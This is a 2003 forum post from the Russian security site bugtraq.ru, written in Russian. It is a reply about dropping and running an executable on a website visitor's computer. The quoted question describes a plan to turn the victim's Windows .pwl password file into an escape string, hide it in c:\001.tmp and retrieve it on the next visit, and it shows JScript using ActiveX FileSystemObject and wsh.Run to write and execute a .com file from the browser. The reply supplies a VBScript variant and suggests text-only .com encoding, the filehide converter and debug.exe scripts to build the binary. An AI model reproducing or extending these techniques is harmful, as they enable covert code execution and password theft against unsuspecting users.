информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Страшный баг в WindowsЗа кого нас держат?Атака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / web building
Имя Пароль
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Нужна помощь 18.06.03 17:44  Число просмотров: 2341
Автор: :-) <:-)> Статус: Elderman
Отредактировано 18.06.03 17:53  Количество правок: 1
<"чистая" ссылка>
...skipped
> Я написал маленькую прогу на ассемблере, которая превращала
> pwl'ку в escape-строку (т.е. просто записывала байты в виде
> \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом
> хотел просто слить с компа юзера, когда он второй раз
> зайдет на сайт) Потом я попытался залить эту прогу через
> броузер себе на комп и выполнить ее:
>
> content='_код проги_';
> f_obj=new ActiveXObject('Scripting.FileSystemObject');
> fp=f_obj.CreateTextFile('c:\\escape.com',false);
> fp.Write(content);
> fp.Close();
> wsh.Run('c:\\escape.com');

Тут можно вместо JScript использовать VBScript. В нем есть функция chr:
content=chr(2)+chr(5)+chr(255)
set f_obj=CreateObject("Scripting.FileSystemObject")
set fp=f_obj.CreateTextFile("c:\escape.com",false)
fp.Write(content)
fp.Close()

Про другие способы:
Если уж ты пишешь программку на ассемблере в виде маленького .com-файла, то пиши ее так, чтобы она содержала только текстовые символы.
Есть конвертеры, которые преобразуют .com-файл таким образом (filehide например).
Еще двоичный файл можно создать через debug.exe.
В текстовый файл пишешь debug-скрипт для создания своего файла, потом даешь команду
debug <myscript.dbg
<web building> Поиск 






Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 1 s   Design: Vadim Derkach